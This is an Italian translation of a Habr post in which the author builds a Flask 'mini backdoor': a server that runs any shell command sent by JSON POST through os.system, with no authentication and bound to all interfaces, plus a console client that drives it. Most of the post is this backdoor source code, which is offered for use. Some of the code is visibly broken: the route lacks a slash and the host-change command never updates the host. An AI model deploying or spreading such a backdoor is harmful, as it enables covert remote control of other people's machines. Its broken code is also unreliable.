Ciao, Habr!
Recentemente ho guardato la versione scaricata di uno streaming sulla programmazione "Come creare la propria web app in Flask". Ho deciso di consolidare le mie conoscenze in qualche progetto. Non sapevo cosa scrivere e mi è venuta l'idea: "Perché non fare una mini backdoor in Flask?".
Subito nella mia mente sono emerse le prime idee per l'implementazione e le possibilità della backdoor. Ma ho deciso di stilare subito un elenco delle funzionalità della backdoor:
- Essere in grado di aprire siti web
- Avere accesso alla riga di comando
- Essere in grado di aprire programmi, foto, video
Quindi, il primo punto può essere implementato molto facilmente utilizzando il modulo webbrowser. Ho deciso di implementare il secondo punto utilizzando il modulo os. E il terzo – anche attraverso il modulo os, ma userò 'link' (ne parlerò più avanti).
Scrittura server
Quindi, *rullare i tamburi* ecco tutto il codice del server:
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'Il server è in esecuzione e attende comandi...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Apertura del sito ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Esecuzione del comando ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Avvio ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
Ho già pubblicato tutto il codice, è ora di spiegare il concetto.
Tutto il codice viene eseguito sul computer locale sulla porta 5000. Per interagire con server dobbiamo inviare una richiesta JSON POST.
Struttura della richiesta JSON:
{‘command’: ‘comecommand’, ‘data’: ‘somedata’}È logico che 'command' sia il comando che vogliamo eseguire. E 'data' sono gli argomenti del comando.
Puoi scrivere e inviare richieste JSON per interagire con il server a mano (ti consiglio requests). Oppure puoi scrivere un client da console.
Scrittura del client
Codice:
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Scritto in Python',
'******* ** **',
'******** ** **',
'** ** ** ** Autore: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Il comando non contiene argomenti!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Il comando non contiene argomenti!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
Spiegazioni:
Per prima cosa, viene importato il modulo requests (per interagire con il server). Poi sono descritte le funzioni start e test. E poi c'è un ciclo in cui avviene la magia. Avete letto il codice? Significa che il significato della magia che avviene nel ciclo è chiaro per voi. Inserite un comando - viene eseguito. Shell - comandi per la riga di comando (la logica è sorprendente).
Test – verifica se il server (backdoor) funziona
Link – utilizzo di un "collegamento"
Openweb – apertura di un sito web
Quit – uscita dal client
Set – impostazione dell'IP del vostro computer nella rete locale
Adesso approfondiamo il link.
Accanto al server si trova il file link.txt. Esso contiene collegamenti (percorso completo) ai file (video, foto, programmi).
La struttura è la seguente:
percorso_completo>descrizione
percorso_completo>descrizione
Risultato
Abbiamo un server-backdoor per gestire il computer nella rete locale (all'interno della rete Wi-Fi). Tecnologicamente possiamo avviare il client da qualsiasi dispositivo che dispone di un interprete Python.
P.S. Ho aggiunto il comando set per poter modificare direttamente nel client se a un computer nella rete locale viene assegnato un altro IP.
Fonte: habr.com
